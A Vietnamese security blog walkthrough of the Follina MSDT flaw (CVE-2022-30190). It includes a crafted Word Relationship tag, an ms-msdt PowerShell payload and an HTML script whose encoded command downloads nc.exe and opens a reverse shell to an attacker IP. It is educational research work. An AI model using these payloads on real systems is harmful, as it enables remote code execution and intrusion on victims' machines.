Post

CVE-2022-30190 - CVE Research

What is CVE-2022-30190?

  • CVE-2022-30190 (CVSS score: 7.8) là một lỗ hổng thực thi mã từ xa trong Microsoft Support Diagnostic Tool (MSDT) hay còn gọi là “Follina” – một phần mềm mặc định trên Windows có nhiệm vụ báo cáo lỗi trên máy tính đến Microsoft. Lỗ hổng này tồn tại do cách gọi MSDT bằng giao thức URL từ một số ứng dụng nhất định (trong đó có một số phiên bản đã vá của MS Office 2019 và 2021).
  • Nguy hiểm hơn, nếu tệp độc hại ở định dạng RTF, hành vi khai thác sẽ kích hoạt khi người dùng chọn tệp độc hại trong Windows Explorer mà không cần phải mở tệp, do đó có thể vượt qua các cơ chế bảo vệ như Protection View của MS Word.

    MSDT and CVE-2022-30190

  • CVE-2022-30190, còn được gọi là lỗ hổng Follina, là một lỗ hổng nghiêm trọng trong Công cụ Chẩn đoán Hỗ trợ của Microsoft Windows (MSDT). MSDT là một tính năng tích hợp trong nhiều hệ điều hành Windows, hoạt động như “thợ máy” cho máy tính của bạn. Nó có nhiệm vụ phát hiện các vấn đề và tiến hành kiểm tra thường xuyên để đảm bảo hệ thống hoạt động mượt mà.

  • Hãy tưởng tượng có ai đó có thể đánh lừa “thợ máy” này để vô tình mở khóa các “cửa” quan trọng trong hệ thống máy tính của bạn. Những “cửa” này có thể dẫn đến các thông tin quan trọng hoặc thậm chí là quyền kiểm soát các chức năng thiết yếu. Đó là bản chất của lỗ hổng CVE-2022-30190.
  • Cốt lõi của CVE-2022-30190 là việc xử lý nằm ở các tệp thực thi cụ thể là msdt.exe. Cụ thể MSDT xử lý các URI không đúng định dạng, thường có độ dài bất thường và kết thúc bằng ‘!’. Việc xử lý không đúng các URI như vậy là yếu tố quan trọng cho phép thực thi lệnh trái phép (và là lỗ hổng nội tại trong MSDT).
  • Hình thức phổ biến là attacker sẽ chèn 1 url độc hại vào trong file Microsoft Word, khi mở tài liệu Word bị nhiễm, tài liệu sẽ tải xuống một tệp HTML chứa mã độc thay vì nhúng trực tiếp URI quá dài. Tệp HTML này sẽ tự động tải xuống và sử dụng JavaScript để gọi URI độc hại, kích hoạt MSDT thực thi mã lệnh mà không cần quyền từ người dùng.
  • image

    Để khai thác thành công lỗ hổng CVE-2022-30190, một số điều kiện nhất định cần được đáp ứng như sau:

    Điều kiện Tiên Quyết (Preconditions)

  • Vector Tấn Công: Đây là cuộc tấn công cục bộ (Local) yêu cầu sự tương tác của người dùng, với mức độ phức tạp thấp
  • Môi Trường: Hệ điều hành Windows có cài đặt Microsoft Office.
  • Quyền Hạn Người Dùng: Mã độc sẽ chạy với quyền hạn của người dùng mở tài liệu. Điều này có nghĩa là nếu người dùng có quyền admin, mã độc cũng sẽ có quyền tương tự.

    Điều Kiện Để Khai Thác Thành Công (Satisfying Exploitability Checks)

  • Độ Tin Cậy của Tài Liệu: Nạn nhân phải mở tài liệu Word được tạo đặc biệt cho cuộc tấn công này.

  • Callback HTTP: Máy chủ web do kẻ tấn công kiểm soát phải có sẵn để cung cấp payload phụ cho mục tiêu khi tài liệu được mở.

  • Giới Hạn Payload: Payload phụ (HTML độc hại) phải có dung lượng trên 4096 byte để vượt qua các kiểm tra kích thước nhất định của Office.

  • Tương Tác Người Dùng: Mở tài liệu là cần thiết, nhưng với các định dạng như .rtf, đôi khi chỉ cần xem trước là có thể kích hoạt khai thác.

    Chuỗi Tấn Công (Attack Chain Overview)

  • Vector Ban Đầu: Cuộc tấn công bắt đầu với tài liệu Word chứa một tham chiếu bên ngoài, được xác định thông qua thẻ Relationship trong cấu trúc XML word/_rels/document.xml.rels. Tham chiếu này trỏ tới payload độc hại trên máy chủ của kẻ tấn công.
  • Vector Thứ Hai: Tham chiếu bên ngoài tải payload HTML độc hại từ máy chủ từ xa khi tài liệu được mở.
  • Thực Thi: Payload HTML sử dụng URI ms-msdt để chạy các lệnh PowerShell tùy ý trên máy tính của nạn nhân, kích hoạt mã độc để thao tác hệ thống hoặc đánh cắp dữ liệu.

    Các bước khai thác chi tiết

    Bước 1 : Document crafting

  • Thẻ Relationship là một phần của cấu trúc XML trong tài liệu Microsoft Office (như Word, Excel) theo chuẩn Office Open XML (OOXML). Nó được sử dụng để xác định các liên kết đến tài nguyên bên trong hoặc bên ngoài tài liệu, chẳng hạn như hình ảnh, siêu liên kết, hoặc tệp dữ liệu khác. Thẻ này nằm trong các tệp *.rels của tài liệu
  • Dựa vào đó attacker có thể lợi dụng để trỏ đến những liên kết độc hại
1
<Relationship Id="rId996" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://10.0.0.28:8000/index.html!" TargetMode="External"/>

Bước 2 : Secondary payload retrieval

  • Khi tài liệu Word chứa thẻ Relationship độc hại được mở, chuỗi tấn công CVE-2022-30190 (Follina) diễn ra qua các bước như sau:
    1. Tải Payload HTML: Tài liệu Word có chứa thẻ Relationship với một URL bên ngoài trong phần XML document.xml.rels. Khi tài liệu mở, Word sẽ đọc phần Relationship này và tự động tải tài nguyên từ URL được chỉ định. Tài nguyên này là một tệp HTML chứa mã độc từ máy chủ của kẻ tấn công.
    2. Kích hoạt Tệp HTML: Tệp HTML độc hại được tải xuống từ máy chủ của kẻ tấn công và chứa JavaScript để kích hoạt URI ms-msdt.
    3. Khai thác URI ms-msdt: Lược đồ URI ms-msdt được sử dụng để truyền các tham số hoặc lệnh đến MSDT, cho phép MSDT thực hiện các lệnh PowerShell từ xa. Trong khai thác này, tệp HTML độc hại sử dụng ms-msdt để gửi lệnh PowerShell, kích hoạt RCE.

Bước 3: PowerShell execution

  • Ví dụ:
1
ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'bm90ZXBhZA=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\"

Triển khai lỗ hổng CVE-2022-30190

  • Đầu tiên, ta tạo 1 liên kết html độc hại để file document.xml.rels trỏ đến, mình sẽ test nó trên local
    1
    2
    3
    
    <script>
      location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(\"SW52b2tlLVdlYlJlcXVlc3QgaHR0cHM6Ly9naXRodWIuY29tL2ludDB4MzMvbmMuZXhlL3Jhdy9yZWZzL2hlYWRzL21hc3Rlci9uYy5leGUgLU91dEZpbGUgQzpcV2luZG93c1xUYXNrc1xuYy5leGU7IEM6XFdpbmRvd3NcVGFza3NcbmMuZXhlIC1lIGNtZC5leGUgMTkyLjE2OC4xLjEwOCA0NDQ0\"'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\"";
    </script>
    
  • image
  • Thẻ script này tải xuống 1 file nc.exe và thực hiện kết nối với ip 192.168.1.108:4444 của máy attacker.
  • Tuy nhiên điều kiện để vượt qua các kiểm tra về kích thước của office là dung lượng phải lớn hơn 4096 byte nhưng khi kiểm tra ta chỉ có 580 byte nên ta sẽ chèn thêm byte rác vào
    1
    2
    3
    4
    
    ┌──(kali㉿kali)-[~/Downloads/TEST CVE]
    └─$ ll
    total 4
    -rw-rw-r-- 1 kali kali 580 Jan 10 17:00 index.html
    

    image

  • Bây giờ dùng http.server để tạo liên kết local, đồng thời dùng lệnh nc -lnvp 4444 trên máy attacker để lắng nghe
  • SỬ dụng cú pháp python3 -m http.server [port] image image

  • Tiếp theo truy cập vào http://[ip_attacker]:[port] để xem tạo thành công hay chưa image
  • Tiến hành tạo file word, sau đó mở file word/_rels/document.xml.rels và thêm nội dung sau đây vào
1
<Relationship Id="rId996" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="[url:port]/index.html!" TargetMode="External"/>

image

  • Ngay sau khi victim click vào, server thông báo có ip mới truy cập, đồng thời file nc.exe cũng được tải xuống. chứng tỏ đã reverse shell thành công. image image image
  • Thậm chí tải các file mã độc khác cho các giai đoạn khác nhau image
  • Ngoài ra ta có thể dùng các POC có sắn như : https://github.com/JohnHammond/msdt-follina
This post is licensed under CC BY 4.0 by the author.